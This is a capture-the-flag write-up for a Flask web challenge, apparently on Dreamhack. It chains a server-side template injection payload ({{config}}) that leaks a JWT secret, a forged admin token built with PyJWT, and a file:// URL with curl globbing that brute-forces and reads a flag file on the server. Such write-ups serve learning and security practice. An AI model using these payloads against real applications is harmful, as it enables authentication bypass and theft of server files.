There is a SSTI vulnerability in /login endpoint at this code.
return render_template_string('{form_id} is not registered, or the password is incorrect.'.format(form_id=form_id))Since the “admin” endpoints checks authentication using JWT, and JWT secret key is inside app config.
JWTKey = ''.join(random.choices(string.ascii_letters, k=50))app.config['JWTKey'] = JWTKeyRead the Jinja doc, we’ll see that config is a global variables within Jinja by default. So let’s test with payload form_id={{config}} and form_pw=whatever. Enter and we get the following result.
<Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'JWTKey': 'NTTbTFCxngMZqwCpehwPAJLxiIfrQzdVkitgbfwDIlrQNRaxxt'}> is not registered, or the password is incorrect.So it exposes the JWT key, now let’s use it to craft the payload {"id":"admin", "isAdmin": True} to successfully access the /api/metar endpoint.
import jwt
token = jwt.encode({"id":"admin","isAdmin":True},'NTTbTFCxngMZqwCpehwPAJLxiIfrQzdVkitgbfwDIlrQNRaxxt',algorithm='HS256')
print(token)Token is:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZX0.JMTqyoTmHy8E6v22pPt6dpwPiMTdHQv8K3jtLsAXDRQNow comes a hard part, where in the Dockerfile, it states that the flag filename is flag_{4 random lowercase alphabetic characters}.txt. And it’s hard because of the parameter shell = False in subprocess.run().
The question is, how do we use only curl to brute force all the filename without exceeding the requests limit (10).
Firstly, we can pass any URL into the curl, so it is not necessarily an HTTP protocol, we could use other schema like file:///, which is useful in this case to read server files.
Secondly, after doing google search for a while, read the curl doc, we’ll see that curl enables a method to continuously sending request with predefined ranges, which is URL Globbing.
Why doesn’t it exceed the limit? Because it is sending request to schema file:///, not the http://.../api/metar, so even though it keeps sending, the number of HTTP request is only calculated once.
URL payload:
http://host8.dreamhack.games:11629/api/metar?airport=file:///deploy/flag_[a-z][a-z][a-z][a-z].txtWhen it hits the correct filename, it will print out the flag.
🚩FLAG: DH{ThrvGkkoUso6L6s4LHZUPIUnEXmzjUO8RlJMX8vu2V}